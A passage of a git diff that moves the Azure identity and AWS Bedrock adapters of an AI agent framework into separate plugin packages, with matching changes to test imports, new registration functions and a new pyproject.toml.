test_reset_cache_invalidates(self, fake_azure_identity): - from agent.azure_identity_adapter import ( + from hermes_agent_azure import ( EntraIdentityConfig, build_credential, reset_credential_cache, @@ -413,7 +413,7 @@ class TestBuildCredential: class TestBuildTokenProvider: def test_returns_callable_for_scope(self, fake_azure_identity): - from agent.azure_identity_adapter import build_token_provider + from hermes_agent_azure import build_token_provider provider = build_token_provider(scope="https://ai.azure.com/.default") assert callable(provider) assert provider() == "jwt-for-https://ai.azure.com/.default" @@ -424,7 +424,7 @@ class TestBuildTokenProvider: ``build_token_provider`` uses ``SCOPE_AI_AZURE_DEFAULT`` — Microsoft's documented Foundry inference scope. ``base_url`` is accepted for back-compat but ignored.""" - from agent.azure_identity_adapter import ( + from hermes_agent_azure import ( SCOPE_AI_AZURE_DEFAULT, build_token_provider, ) @@ -432,7 +432,7 @@ class TestBuildTokenProvider: assert fake_azure_identity.last_scope == SCOPE_AI_AZURE_DEFAULT def test_explicit_scope_wins_over_base_url(self, fake_azure_identity): - from agent.azure_identity_adapter import build_token_provider + from hermes_agent_azure import build_token_provider build_token_provider( scope="https://override.example/.default", base_url="https://r.openai.azure.com/openai/v1", @@ -440,7 +440,7 @@ class TestBuildTokenProvider: assert fake_azure_identity.last_scope == "https://override.example/.default" def test_config_object_wins_over_kwargs(self, fake_azure_identity): - from agent.azure_identity_adapter import ( + from hermes_agent_azure import ( EntraIdentityConfig, build_token_provider, ) @@ -456,11 +456,10 @@ class TestBuildTokenProvider: class TestRequireAzureIdentityMissing: - def test_clear_error_when_lazy_install_disabled(self, monkeypatch): - """When azure-identity isn't importable AND lazy installs are - off, the adapter must raise ImportError with an actionable - message, not propagate FeatureUnavailable.""" - from agent import azure_identity_adapter as _adapter + def test_clear_error_when_azure_identity_missing(self, monkeypatch): + """When azure-identity isn't importable, the adapter must raise + ImportError with an actionable message.""" + from hermes_agent_azure import azure_identity_adapter as _adapter # Force the import path to fail. original_import = __builtins__["__import__"] if isinstance(__builtins__, dict) else __import__ @@ -471,20 +470,6 @@ class TestRequireAzureIdentityMissing: monkeypatch.setattr("builtins.__import__", _fake_import) - # Simulate lazy installs disabled. - from tools.lazy_deps import FeatureUnavailable - - def _fake_ensure(*args, **kwargs): - raise FeatureUnavailable( - "provider.azure_identity", - ("azure-identity==1.25.3",), - "lazy installs disabled (test simulation)", - ) - - # The adapter calls ``ensure`` from ``tools.lazy_deps``; intercept - # it by patching the actual symbol path. - monkeypatch.setattr("tools.lazy_deps.ensure", _fake_ensure) - with pytest.raises(ImportError) as exc_info: _adapter._require_azure_identity() msg = str(exc_info.value) @@ -547,7 +532,7 @@ class TestHasAzureIdentityCredentials: assert result is True def test_returns_true_on_successful_token_mint(self, fake_azure_identity): - from agent.azure_identity_adapter import has_azure_identity_credentials + from hermes_agent_azure import has_azure_identity_credentials assert has_azure_identity_credentials("https://x/.default", timeout_seconds=0.5) is True def test_returns_false_when_get_token_raises(self, monkeypatch): @@ -623,7 +608,7 @@ class TestDescribeActiveCredential: assert "lazy" in info["hint"].lower() def test_reports_env_sources_for_managed_identity(self, fake_azure_identity, monkeypatch): - from agent.azure_identity_adapter import describe_active_credential + from hermes_agent_azure import describe_active_credential monkeypatch.setenv("IDENTITY_ENDPOINT", "http://169.254.169.254") info = describe_active_credential(scope="https://x/.default", timeout_seconds=0.5) assert info["ok"] is True @@ -631,14 +616,14 @@ class TestDescribeActiveCredential: assert any("ManagedIdentity" in s for s in sources) def test_reports_env_sources_for_workload_identity(self, fake_azure_identity, monkeypatch): - from agent.azure_identity_adapter import describe_active_credential + from hermes_agent_azure import describe_active_credential monkeypatch.setenv("AZURE_FEDERATED_TOKEN_FILE", "/var/secrets/azure/federated-token") info = describe_active_credential(scope="https://x/.default", timeout_seconds=0.5) sources = info.get("env_sources") or [] assert any("WorkloadIdentity" in s for s in sources) def test_reports_env_sources_for_service_principal(self, fake_azure_identity, monkeypatch): - from agent.azure_identity_adapter import describe_active_credential + from hermes_agent_azure import describe_active_credential monkeypatch.setenv("AZURE_TENANT_ID", "t") monkeypatch.setenv("AZURE_CLIENT_ID", "c") monkeypatch.setenv("AZURE_CLIENT_SECRET", "s") diff --git a/plugins/model-providers/bedrock/__init__.py b/plugins/model-providers/bedrock/__init__.py index 6fdbbe834da..60ca23449fb 100644 --- a/plugins/model-providers/bedrock/__init__.py +++ b/plugins/model-providers/bedrock/__init__.py @@ -27,3 +27,9 @@ bedrock = BedrockProfile( ) register_provider(bedrock) + + +def register(ctx): + """Plugin entry point — delegates to the inner hermes_agent_bedrock package.""" + from hermes_agent_bedrock import register as _inner_register + _inner_register(ctx) diff --git a/plugins/model-providers/bedrock/hermes_agent_bedrock/__init__.py b/plugins/model-providers/bedrock/hermes_agent_bedrock/__init__.py new file mode 100644 index 00000000000..4205791040b --- /dev/null +++ b/plugins/model-providers/bedrock/hermes_agent_bedrock/__init__.py @@ -0,0 +1,94 @@ +"""hermes-agent-bedrock: AWS Bedrock Converse API adapter for Hermes Agent.""" + +from hermes_agent_bedrock.adapter import ( # noqa: F401 + BEDROCK_DEFAULT_CONTEXT_LENGTH, + CONTEXT_OVERFLOW_PATTERNS, + OVERLOAD_PATTERNS, + THROTTLE_PATTERNS, + _AWS_CREDENTIAL_ENV_VARS, + _DISCOVERY_CACHE_TTL_SECONDS, + _NON_TOOL_CALLING_PATTERNS, + _STALE_LIB_MODULE_PREFIXES, + _convert_content_to_converse, + _converse_stop_reason_to_openai, + _extract_provider_from_arn, + _get_bedrock_control_client, + _get_bedrock_runtime_client, + _model_supports_tool_use, + _require_boto3, + _traceback_frames_modules, + bedrock_model_ids_or_none, + build_converse_kwargs, + call_converse, + call_converse_stream, + classify_bedrock_error, + convert_messages_to_converse, + convert_tools_to_converse, + discover_bedrock_models, + get_bedrock_context_length, + get_bedrock_model_ids, + has_aws_credentials, + invalidate_runtime_client, + is_anthropic_bedrock_model, + is_context_overflow_error, + is_stale_connection_error, + normalize_converse_response, + normalize_converse_stream_events, + reset_client_cache, + reset_discovery_cache, + resolve_aws_auth_env_var, + resolve_bedrock_region, + stream_converse_with_callbacks, +) + + +def register(ctx): + """Entry point for the hermes_agent.plugins entry point group.""" + from hermes_agent_bedrock import adapter + + ctx.register_provider_services("bedrock", { + # Auth / credentials + "has_aws_credentials": adapter.has_aws_credentials, + "resolve_aws_auth_env_var": adapter.resolve_aws_auth_env_var, + "resolve_bedrock_region": adapter.resolve_bedrock_region, + "_AWS_CREDENTIAL_ENV_VARS": adapter._AWS_CREDENTIAL_ENV_VARS, + # Transport + "build_converse_kwargs": adapter.build_converse_kwargs, + "convert_messages_to_converse": adapter.convert_messages_to_converse, + "convert_tools_to_converse": adapter.convert_tools_to_converse, + "normalize_converse_response": adapter.normalize_converse_response, + "normalize_converse_stream_events": adapter.normalize_converse_stream_events, + "call_converse": adapter.call_converse, + "call_converse_stream": adapter.call_converse_stream, + "stream_converse_with_callbacks": adapter.stream_converse_with_callbacks, + # Model metadata + "bedrock_model_ids_or_none": adapter.bedrock_model_ids_or_none, + "discover_bedrock_models": adapter.discover_bedrock_models, + "get_bedrock_context_length": adapter.get_bedrock_context_length, + "get_bedrock_model_ids": adapter.get_bedrock_model_ids, + "BEDROCK_DEFAULT_CONTEXT_LENGTH": adapter.BEDROCK_DEFAULT_CONTEXT_LENGTH, + # Client management + "_get_bedrock_control_client": adapter._get_bedrock_control_client, + "_get_bedrock_runtime_client": adapter._get_bedrock_runtime_client, + "invalidate_runtime_client": adapter.invalidate_runtime_client, + "reset_client_cache": adapter.reset_client_cache, + "reset_discovery_cache": adapter.reset_discovery_cache, + # Error handling + "classify_bedrock_error": adapter.classify_bedrock_error, + "is_context_overflow_error": adapter.is_context_overflow_error, + "is_stale_connection_error": adapter.is_stale_connection_error, + "CONTEXT_OVERFLOW_PATTERNS": adapter.CONTEXT_OVERFLOW_PATTERNS, + "OVERLOAD_PATTERNS": adapter.OVERLOAD_PATTERNS, + "THROTTLE_PATTERNS": adapter.THROTTLE_PATTERNS, + "_NON_TOOL_CALLING_PATTERNS": adapter._NON_TOOL_CALLING_PATTERNS, + "_STALE_LIB_MODULE_PREFIXES": adapter._STALE_LIB_MODULE_PREFIXES, + "_DISCOVERY_CACHE_TTL_SECONDS": adapter._DISCOVERY_CACHE_TTL_SECONDS, + # Internal helpers + "_require_boto3": adapter._require_boto3, + "_model_supports_tool_use": adapter._model_supports_tool_use, + "is_anthropic_bedrock_model": adapter.is_anthropic_bedrock_model, + "_convert_content_to_converse": adapter._convert_content_to_converse, + "_converse_stop_reason_to_openai": adapter._converse_stop_reason_to_openai, + "_extract_provider_from_arn": adapter._extract_provider_from_arn, + "_traceback_frames_modules": adapter._traceback_frames_modules, + }) diff --git a/agent/bedrock_adapter.py b/plugins/model-providers/bedrock/hermes_agent_bedrock/adapter.py similarity index 98% rename from agent/bedrock_adapter.py rename to plugins/model-providers/bedrock/hermes_agent_bedrock/adapter.py index 620d1c99785..34eebd73ba8 100644 --- a/agent/bedrock_adapter.py +++ b/plugins/model-providers/bedrock/hermes_agent_bedrock/adapter.py @@ -36,19 +36,6 @@ from typing import Any, Dict, List, Optional, Tuple logger = logging.getLogger(__name__) -# --------------------------------------------------------------------------- -# Ensure boto3/botocore are installed before any code in this module runs. -# Upstream removed boto3 from [all] extras (PRs #24220, #24515); lazy_deps -# handles on-demand installation so the Bedrock provider still works in the -# EKS deployment without baking boto3 into the base image. -# --------------------------------------------------------------------------- -try: - from tools.lazy_deps import ensure - ensure("provider.bedrock", prompt=False) -except Exception: - pass # lazy_deps unavailable or install failed — let downstream imports surface the real error - - # --------------------------------------------------------------------------- # Lazy boto3 import — only loaded when the Bedrock provider is actually used. # This keeps startup fast for users who don't use Bedrock. diff --git a/plugins/model-providers/bedrock/pyproject.toml b/plugins/model-providers/bedrock/pyproject.toml new file mode 100644 index 00000000000..852b888180b --- /dev/null +++ b/plugins/model-providers/bedrock/pyproject.toml @@ -0,0 +1,19 @@ +[build-system] +requires = ["setuptools>=61.0"] +build-backend = "setuptools.build_meta" + +[project] +name = "hermes-agent-bedrock" +version = "0.1.0" +description = "AWS Bedrock Converse API adapter for Hermes Agent" +requires-python = ">=3.11" +dependencies = [ + "hermes-agent", + "boto3==1.42.89", +] + +[project.entry-points."hermes_agent.plugins"] +bedrock = "hermes_agent_bedrock:register" + +[tool.setuptools.packages.find] +include = ["hermes_agent_bedrock*"] diff --git a/tests/agent/test_bedrock_1m_context.py b/plugins/model-providers/bedrock/tests/test_bedrock_1m_context.py similarity index 96% rename from tests/agent/test_bedrock_1m_context.py rename to plugins/model-providers/bedrock/tests/test_bedrock_1m_context.py index c088bcc0473..589f530cbfa 100644 --- a/tests/agent/test_bedrock_1m_context.py +++ b/plugins/model-providers/bedrock/tests/test_bedrock_1m_context.py @@ -19,7 +19,7 @@ class TestBedrockContext1MBeta: def test_common_betas_strips_1m_for_minimax(self): """MiniMax bearer-auth endpoints host their own models — strip 1M beta.""" - from agent.anthropic_adapter import ( + from hermes_agent_anthropic import ( _common_betas_for_base_url, _CONTEXT_1M_BETA, ) @@ -41,7 +41,7 @@ class TestBedrockContext1MBeta: This is the load-bearing assertion for the reported bug: without this header Bedrock serves Opus 4.6/4.7 with a 200K cap. """ - import agent.anthropic_adapter as adapter + import hermes_agent_anthropic as adapter fake_sdk = MagicMock() fake_sdk.AnthropicBedrock = MagicMock() diff --git a/tests/agent/test_bedrock_adapter.py b/plugins/model-providers/bedrock/tests/test_bedrock_adapter.py similarity index 84% rename from tests/agent/test_bedrock_adapter.py rename to plugins/model-providers/bedrock/tests/test_bedrock_adapter.py index 04c0913f289..fe607826ede 100644 --- a/tests/agent/test_bedrock_adapter.py +++ b/plugins/model-providers/bedrock/tests/test_bedrock_adapter.py @@ -41,7 +41,7 @@ class TestResolveAwsAuthEnvVar: """ def test_prefers_bearer_token_over_access_keys_and_profile(self): - from agent.bedrock_adapter import resolve_aws_auth_env_var + from hermes_agent_bedrock.adapter import resolve_aws_auth_env_var env = { "AWS_BEARER_TOKEN_BEDROCK": "bearer-token", "AWS_ACCESS_KEY_ID": "AKIA...", @@ -51,7 +51,7 @@ class TestResolveAwsAuthEnvVar: assert resolve_aws_auth_env_var(env) == "AWS_BEARER_TOKEN_BEDROCK" def test_uses_access_keys_when_bearer_token_missing(self): - from agent.bedrock_adapter import resolve_aws_auth_env_var + from hermes_agent_bedrock.adapter import resolve_aws_auth_env_var env = { "AWS_ACCESS_KEY_ID": "AKIA...", "AWS_SECRET_ACCESS_KEY": "secret", @@ -60,28 +60,28 @@ class TestResolveAwsAuthEnvVar: assert resolve_aws_auth_env_var(env) == "AWS_ACCESS_KEY_ID" def test_requires_both_access_key_and_secret(self): - from agent.bedrock_adapter import resolve_aws_auth_env_var + from hermes_agent_bedrock.adapter import resolve_aws_auth_env_var # Only access key, no secret → should not match env = {"AWS_ACCESS_KEY_ID": "AKIA..."} assert resolve_aws_auth_env_var(env) != "AWS_ACCESS_KEY_ID" def test_uses_profile_when_no_keys(self): - from agent.bedrock_adapter import resolve_aws_auth_env_var + from hermes_agent_bedrock.adapter import resolve_aws_auth_env_var env = {"AWS_PROFILE": "production"} assert resolve_aws_auth_env_var(env) == "AWS_PROFILE" def test_uses_container_credentials(self): - from agent.bedrock_adapter import resolve_aws_auth_env_var + from hermes_agent_bedrock.adapter import resolve_aws_auth_env_var env = {"AWS_CONTAINER_CREDENTIALS_RELATIVE_URI": "/v2/credentials/..."} assert resolve_aws_auth_env_var(env) == "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" def test_uses_web_identity(self): - from agent.bedrock_adapter import resolve_aws_auth_env_var + from hermes_agent_bedrock.adapter import resolve_aws_auth_env_var env = {"AWS_WEB_IDENTITY_TOKEN_FILE": "/var/run/secrets/token"} assert resolve_aws_auth_env_var(env) == "AWS_WEB_IDENTITY_TOKEN_FILE" def test_returns_none_when_no_aws_auth(self): - from agent.bedrock_adapter import resolve_aws_auth_env_var + from hermes_agent_bedrock.adapter import resolve_aws_auth_env_var # Mock botocore to return no credentials (covers EC2 IMDS fallback) mock_session = MagicMock() mock_session.get_credentials.return_value = None @@ -91,7 +91,7 @@ class TestResolveAwsAuthEnvVar: assert resolve_aws_auth_env_var({}) is None def test_ignores_whitespace_only_values(self): - from agent.bedrock_adapter import resolve_aws_auth_env_var + from hermes_agent_bedrock.adapter import resolve_aws_auth_env_var env = {"AWS_PROFILE": " ", "AWS_ACCESS_KEY_ID": " "} mock_session = MagicMock() mock_session.get_credentials.return_value = None @@ -103,11 +103,11 @@ class TestResolveAwsAuthEnvVar: class TestHasAwsCredentials: def test_true_with_profile(self): - from agent.bedrock_adapter import has_aws_credentials + from hermes_agent_bedrock.adapter import has_aws_credentials assert has_aws_credentials({"AWS_PROFILE": "default"}) is True def test_false_with_empty_env(self): - from agent.bedrock_adapter import has_aws_credentials + from hermes_agent_bedrock.adapter import has_aws_credentials mock_session = MagicMock() mock_session.get_credentials.return_value = None with patch.dict("sys.modules", {"botocore": MagicMock(), "botocore.session": MagicMock()}): @@ -118,17 +118,17 @@ class TestHasAwsCredentials: class TestResolveBedrocRegion: def test_prefers_aws_region(self): - from agent.bedrock_adapter import resolve_bedrock_region + from hermes_agent_bedrock.adapter import resolve_bedrock_region env = {"AWS_REGION": "eu-west-1", "AWS_DEFAULT_REGION": "us-west-2"} assert resolve_bedrock_region(env) == "eu-west-1" def test_falls_back_to_default_region(self): - from agent.bedrock_adapter import resolve_bedrock_region + from hermes_agent_bedrock.adapter import resolve_bedrock_region env = {"AWS_DEFAULT_REGION": "ap-northeast-1"} assert resolve_bedrock_region(env) == "ap-northeast-1" def test_defaults_to_us_east_1(self): - from agent.bedrock_adapter import resolve_bedrock_region + from hermes_agent_bedrock.adapter import resolve_bedrock_region from unittest.mock import patch, MagicMock mock_session = MagicMock() mock_session.get_config_variable.return_value = None @@ -136,7 +136,7 @@ class TestResolveBedrocRegion: assert resolve_bedrock_region({}) == "us-east-1" def test_falls_back_to_botocore_profile_region(self): - from agent.bedrock_adapter import resolve_bedrock_region + from hermes_agent_bedrock.adapter import resolve_bedrock_region from unittest.mock import patch, MagicMock mock_session = MagicMock() mock_session.get_config_variable.return_value = "eu-central-1" @@ -144,7 +144,7 @@ class TestResolveBedrocRegion: assert resolve_bedrock_region({}) == "eu-central-1" def test_botocore_failure_falls_back_to_us_east_1(self): - from agent.bedrock_adapter import resolve_bedrock_region + from hermes_agent_bedrock.adapter import resolve_bedrock_region from unittest.mock import patch with _mock_botocore_session(side_effect=Exception("no botocore")): assert resolve_bedrock_region({}) == "us-east-1" @@ -158,7 +158,7 @@ class TestConvertToolsToConverse: """Test OpenAI → Bedrock Converse tool definition conversion.""" def test_converts_single_tool(self): - from agent.bedrock_adapter import convert_tools_to_converse + from hermes_agent_bedrock.adapter import convert_tools_to_converse tools = [{ "type": "function", "function": { @@ -182,7 +182,7 @@ class TestConvertToolsToConverse: assert "path" in spec["inputSchema"]["json"]["properties"] def test_converts_multiple_tools(self): - from agent.bedrock_adapter import convert_tools_to_converse + from hermes_agent_bedrock.adapter import convert_tools_to_converse tools = [ {"type": "function", "function": {"name": "tool_a", "description": "A", "parameters": {}}}, {"type": "function", "function": {"name": "tool_b", "description": "B", "parameters": {}}}, @@ -193,12 +193,12 @@ class TestConvertToolsToConverse: assert result[1]["toolSpec"]["name"] == "tool_b" def test_empty_tools(self): - from agent.bedrock_adapter import convert_tools_to_converse + from hermes_agent_bedrock.adapter import convert_tools_to_converse assert convert_tools_to_converse([]) == [] assert convert_tools_to_converse(None) == [] def test_missing_parameters_gets_default(self): - from agent.bedrock_adapter import convert_tools_to_converse + from hermes_agent_bedrock.adapter import convert_tools_to_converse tools = [{"type": "function", "function": {"name": "noop", "description": "No-op"}}] result = convert_tools_to_converse(tools) schema = result[0]["toolSpec"]["inputSchema"]["json"] @@ -213,7 +213,7 @@ class TestConvertMessagesToConverse: """Test OpenAI message format → Bedrock Converse format conversion.""" def test_extracts_system_prompt(self): - from agent.bedrock_adapter import convert_messages_to_converse + from hermes_agent_bedrock.adapter import convert_messages_to_converse messages = [ {"role": "system", "content": "You are a helpful assistant."}, {"role": "user", "content": "Hello"}, @@ -226,7 +226,7 @@ class TestConvertMessagesToConverse: assert msgs[0]["role"] == "user" def test_user_message_text(self): - from agent.bedrock_adapter import convert_messages_to_converse + from hermes_agent_bedrock.adapter import convert_messages_to_converse messages = [{"role": "user", "content": "What is 2+2?"}] system, msgs = convert_messages_to_converse(messages) assert system is None @@ -234,7 +234,7 @@ class TestConvertMessagesToConverse: assert msgs[0]["content"][0]["text"] == "What is 2+2?" def test_assistant_with_tool_calls(self): - from agent.bedrock_adapter import convert_messages_to_converse + from hermes_agent_bedrock.adapter import convert_messages_to_converse messages = [ {"role": "user", "content": "Read the file"}, { @@ -263,7 +263,7 @@ class TestConvertMessagesToConverse: assert tool_use_blocks[0]["toolUse"]["input"] == {"path": "/tmp/test.txt"} def test_tool_result_becomes_user_message(self): - from agent.bedrock_adapter import convert_messages_to_converse + from hermes_agent_bedrock.adapter import convert_messages_to_converse messages = [ {"role": "user", "content": "Read it"}, {"role": "assistant", "content": None, "tool_calls": [{ @@ -283,7 +283,7 @@ class TestConvertMessagesToConverse: assert tr["toolResult"]["content"][0]["text"] == "file contents here" def test_merges_consecutive_user_messages(self): - from agent.bedrock_adapter import convert_messages_to_converse + from hermes_agent_bedrock.adapter import convert_messages_to_converse messages = [ {"role": "user", "content": "First"}, {"role": "user", "content": "Second"}, @@ -297,7 +297,7 @@ class TestConvertMessagesToConverse: assert "Second" in texts def test_merges_consecutive_assistant_messages(self): - from agent.bedrock_adapter import convert_messages_to_converse + from hermes_agent_bedrock.adapter import convert_messages_to_converse messages = [ {"role": "user", "content": "Hi"}, {"role": "assistant", "content": "Part 1"}, @@ -308,7 +308,7 @@ class TestConvertMessagesToConverse: assert len(assistant_msgs) == 1 def test_first_message_must_be_user(self): - from agent.bedrock_adapter import convert_messages_to_converse + from hermes_agent_bedrock.adapter import convert_messages_to_converse messages = [ {"role": "assistant", "content": "I'm ready"}, {"role": "user", "content": "Go"}, @@ -317,7 +317,7 @@ class TestConvertMessagesToConverse: assert msgs[0]["role"] == "user" def test_last_message_must_be_user(self): - from agent.bedrock_adapter import convert_messages_to_converse + from hermes_agent_bedrock.adapter import convert_messages_to_converse messages = [ {"role": "user", "content": "Hi"}, {"role": "assistant", "content": "Hello"}, @@ -326,14 +326,14 @@ class TestConvertMessagesToConverse: assert msgs[-1]["role"] == "user" def test_empty_content_gets_placeholder(self): - from agent.bedrock_adapter import convert_messages_to_converse + from hermes_agent_bedrock.adapter import convert_messages_to_converse messages = [{"role": "user", "content": ""}] system, msgs = convert_messages_to_converse(messages) # Empty string should get a space placeholder assert msgs[0]["content"][0]["text"].strip() != "" or msgs[0]["content"][0]["text"] == " " def test_image_data_url_converted(self): - from agent.bedrock_adapter import convert_messages_to_converse + from hermes_agent_bedrock.adapter import convert_messages_to_converse messages = [{ "role": "user", "content": [ @@ -351,7 +351,7 @@ class TestConvertMessagesToConverse: assert image_blocks[0]["image"]["format"] == "png" def test_multiple_system_messages_merged(self): - from agent.bedrock_adapter import convert_messages_to_converse + from hermes_agent_bedrock.adapter import convert_messages_to_converse messages = [ {"role": "system", "content": "Rule 1"}, {"role": "system", "content": "Rule 2"}, @@ -372,7 +372,7 @@ class TestNormalizeConverseResponse: """Test Bedrock Converse response → OpenAI format conversion.""" def test_text_response(self): - from agent.bedrock_adapter import normalize_converse_response + from hermes_agent_bedrock.adapter import normalize_converse_response response = { "output": { "message": { @@ -392,7 +392,7 @@ class TestNormalizeConverseResponse: assert result.usage.total_tokens == 15 def test_tool_use_response(self): - from agent.bedrock_adapter import normalize_converse_response + from hermes_agent_bedrock.adapter import normalize_converse_response response = { "output": { "message": { @@ -422,7 +422,7 @@ class TestNormalizeConverseResponse: assert json.loads(tool_calls[0].function.arguments) == {"path": "/tmp/test.txt"} def test_multiple_tool_calls(self): - from agent.bedrock_adapter import normalize_converse_response + from hermes_agent_bedrock.adapter import normalize_converse_response response = { "output": { "message": { @@ -441,7 +441,7 @@ class TestNormalizeConverseResponse: assert result.choices[0].finish_reason == "tool_calls" def test_stop_reason_mapping(self): - from agent.bedrock_adapter import _converse_stop_reason_to_openai + from hermes_agent_bedrock.adapter import _converse_stop_reason_to_openai assert _converse_stop_reason_to_openai("end_turn") == "stop" assert _converse_stop_reason_to_openai("stop_sequence") == "stop" assert _converse_stop_reason_to_openai("tool_use") == "tool_calls" @@ -451,7 +451,7 @@ class TestNormalizeConverseResponse: assert _converse_stop_reason_to_openai("unknown_reason") == "stop" def test_empty_content(self): - from agent.bedrock_adapter import normalize_converse_response + from hermes_agent_bedrock.adapter import normalize_converse_response response = { "output": {"message": {"role": "assistant", "content": []}}, "stopReason": "end_turn", @@ -463,7 +463,7 @@ class TestNormalizeConverseResponse: def test_tool_calls_override_stop_finish_reason(self): """When tool_calls are present but stopReason is end_turn, finish_reason should be tool_calls.""" - from agent.bedrock_adapter import normalize_converse_response + from hermes_agent_bedrock.adapter import normalize_converse_response response = { "output": { "message": { @@ -488,7 +488,7 @@ class TestNormalizeConverseStreamEvents: """Test Bedrock ConverseStream event → OpenAI format conversion.""" def test_text_stream(self): - from agent.bedrock_adapter import normalize_converse_stream_events + from hermes_agent_bedrock.adapter import normalize_converse_stream_events events = {"stream": [ {"messageStart": {"role": "assistant"}}, {"contentBlockStart": {"contentBlockIndex": 0, "start": {}}}, @@ -505,7 +505,7 @@ class TestNormalizeConverseStreamEvents: assert result.usage.completion_tokens == 3 def test_tool_use_stream(self): - from agent.bedrock_adapter import normalize_converse_stream_events + from hermes_agent_bedrock.adapter import normalize_converse_stream_events events = {"stream": [ {"messageStart": {"role": "assistant"}}, {"contentBlockStart": {"contentBlockIndex": 0, "start": { @@ -530,7 +530,7 @@ class TestNormalizeConverseStreamEvents: assert json.loads(tc[0].function.arguments) == {"path": "/tmp/f"} def test_mixed_text_and_tool_stream(self): - from agent.bedrock_adapter import normalize_converse_stream_events + from hermes_agent_bedrock.adapter import normalize_converse_stream_events events = {"stream": [ {"messageStart": {"role": "assistant"}}, # Text block @@ -553,7 +553,7 @@ class TestNormalizeConverseStreamEvents: assert len(result.choices[0].message.tool_calls) == 1 def test_empty_stream(self): - from agent.bedrock_adapter import normalize_converse_stream_events + from hermes_agent_bedrock.adapter import normalize_converse_stream_events events = {"stream": [ {"messageStart": {"role": "assistant"}}, {"messageStop": {"stopReason": "end_turn"}}, @@ -572,7 +572,7 @@ class TestBuildConverseKwargs: """Test the high-level kwargs builder for Converse API calls.""" def test_basic_kwargs(self): - from agent.bedrock_adapter import build_converse_kwargs + from hermes_agent_bedrock.adapter import build_converse_kwargs messages = [ {"role": "system", "content": "Be helpful."}, {"role": "user", "content": "Hi"}, @@ -588,7 +588,7 @@ class TestBuildConverseKwargs: assert len(kwargs["messages"]) >= 1 def test_includes_tools(self): - from agent.bedrock_adapter import build_converse_kwargs + from hermes_agent_bedrock.adapter import build_converse_kwargs tools = [{"type": "function", "function": { "name": "test", "description": "Test", "parameters": {}, }}] @@ -600,7 +600,7 @@ class TestBuildConverseKwargs: assert len(kwargs["toolConfig"]["tools"]) == 1 def test_includes_temperature_and_top_p(self): - from agent.bedrock_adapter import build_converse_kwargs + from hermes_agent_bedrock.adapter import build_converse_kwargs kwargs = build_converse_kwargs( model="test-model", messages=[{"role": "user", "content": "Hi"}], temperature=0.7, top_p=0.9, @@ -609,7 +609,7 @@ class TestBuildConverseKwargs: assert kwargs["inferenceConfig"]["topP"] == 0.9 def test_includes_guardrail_config(self): - from agent.bedrock_adapter import build_converse_kwargs + from hermes_agent_bedrock.adapter import build_converse_kwargs guardrail = { "guardrailIdentifier": "gr-123", "guardrailVersion": "1", @@ -621,14 +621,14 @@ class TestBuildConverseKwargs: assert kwargs["guardrailConfig"] == guardrail def test_no_system_when_absent(self): - from agent.bedrock_adapter import build_converse_kwargs + from hermes_agent_bedrock.adapter import build_converse_kwargs kwargs = build_converse_kwargs( model="test-model", messages=[{"role": "user", "content": "Hi"}], ) assert "system" not in kwargs def test_no_tool_config_when_empty(self): - from agent.bedrock_adapter import build_converse_kwargs + from hermes_agent_bedrock.adapter import build_converse_kwargs kwargs = build_converse_kwargs( model="test-model", messages=[{"role": "user", "content": "Hi"}], tools=[], @@ -644,7 +644,7 @@ class TestDiscoverBedrockModels: """Test Bedrock model discovery with mocked AWS API calls.""" def test_discovers_foundation_models(self): - from agent.bedrock_adapter import discover_bedrock_models, reset_discovery_cache + from hermes_agent_bedrock.adapter import discover_bedrock_models, reset_discovery_cache reset_discovery_cache() mock_client = MagicMock() @@ -674,7 +674,7 @@ class TestDiscoverBedrockModels: "inferenceProfileSummaries": [], } - with patch("agent.bedrock_adapter._get_bedrock_control_client", return_value=mock_client): + with patch("hermes_agent_bedrock.adapter._get_bedrock_control_client", return_value=mock_client): models = discover_bedrock_models("us-east-1") assert len(models) == 2 @@ -683,7 +683,7 @@ class TestDiscoverBedrockModels: assert "amazon.nova-pro-v1:0" in ids def test_filters_inactive_models(self): - from agent.bedrock_adapter import discover_bedrock_models, reset_discovery_cache + from hermes_agent_bedrock.adapter import discover_bedrock_models, reset_discovery_cache reset_discovery_cache() mock_client = MagicMock() @@ -702,13 +702,13 @@ class TestDiscoverBedrockModels: } mock_client.list_inference_profiles.return_value = {"inferenceProfileSummaries": []} - with patch("agent.bedrock_adapter._get_bedrock_control_client", return_value=mock_client): + with patch("hermes_agent_bedrock.adapter._get_bedrock_control_client", return_value=mock_client): models = discover_bedrock_models("us-east-1") assert len(models) == 0 def test_filters_non_streaming_models(self): - from agent.bedrock_adapter import discover_bedrock_models, reset_discovery_cache + from hermes_agent_bedrock.adapter import discover_bedrock_models, reset_discovery_cache reset_discovery_cache() mock_client = MagicMock() @@ -727,13 +727,13 @@ class TestDiscoverBedrockModels: } mock_client.list_inference_profiles.return_value = {"inferenceProfileSummaries": []} - with patch("agent.bedrock_adapter._get_bedrock_control_client", return_value=mock_client): + with patch("hermes_agent_bedrock.adapter._get_bedrock_control_client", return_value=mock_client): models = discover_bedrock_models("us-east-1") assert len(models) == 0 def test_provider_filter(self): - from agent.bedrock_adapter import discover_bedrock_models, reset_discovery_cache + from hermes_agent_bedrock.adapter import discover_bedrock_models, reset_discovery_cache reset_discovery_cache() mock_client = MagicMock() @@ -761,14 +761,14 @@ class TestDiscoverBedrockModels: } mock_client.list_inference_profiles.return_value = {"inferenceProfileSummaries": []} - with patch("agent.bedrock_adapter._get_bedrock_control_client", return_value=mock_client): + with patch("hermes_agent_bedrock.adapter._get_bedrock_control_client", return_value=mock_client): models = discover_bedrock_models("us-east-1", provider_filter=["anthropic"]) assert len(models) == 1 assert models[0]["id"] == "anthropic.claude-v2" def test_caches_results(self): - from agent.bedrock_adapter import discover_bedrock_models, reset_discovery_cache + from hermes_agent_bedrock.adapter import discover_bedrock_models, reset_discovery_cache reset_discovery_cache() mock_client = MagicMock() @@ -785,7 +785,7 @@ class TestDiscoverBedrockModels: } mock_client.list_inference_profiles.return_value = {"inferenceProfileSummaries": []} - with patch("agent.bedrock_adapter._get_bedrock_control_client", return_value=mock_client): + with patch("hermes_agent_bedrock.adapter._get_bedrock_control_client", return_value=mock_client): first = discover_bedrock_models("us-east-1") second = discover_bedrock_models("us-east-1") @@ -794,7 +794,7 @@ class TestDiscoverBedrockModels: assert first == second def test_discovers_inference_profiles(self): - from agent.bedrock_adapter import discover_bedrock_models, reset_discovery_cache + from hermes_agent_bedrock.adapter import discover_bedrock_models, reset_discovery_cache reset_discovery_cache() mock_client = MagicMock() @@ -810,14 +810,14 @@ class TestDiscoverBedrockModels: ], } - with 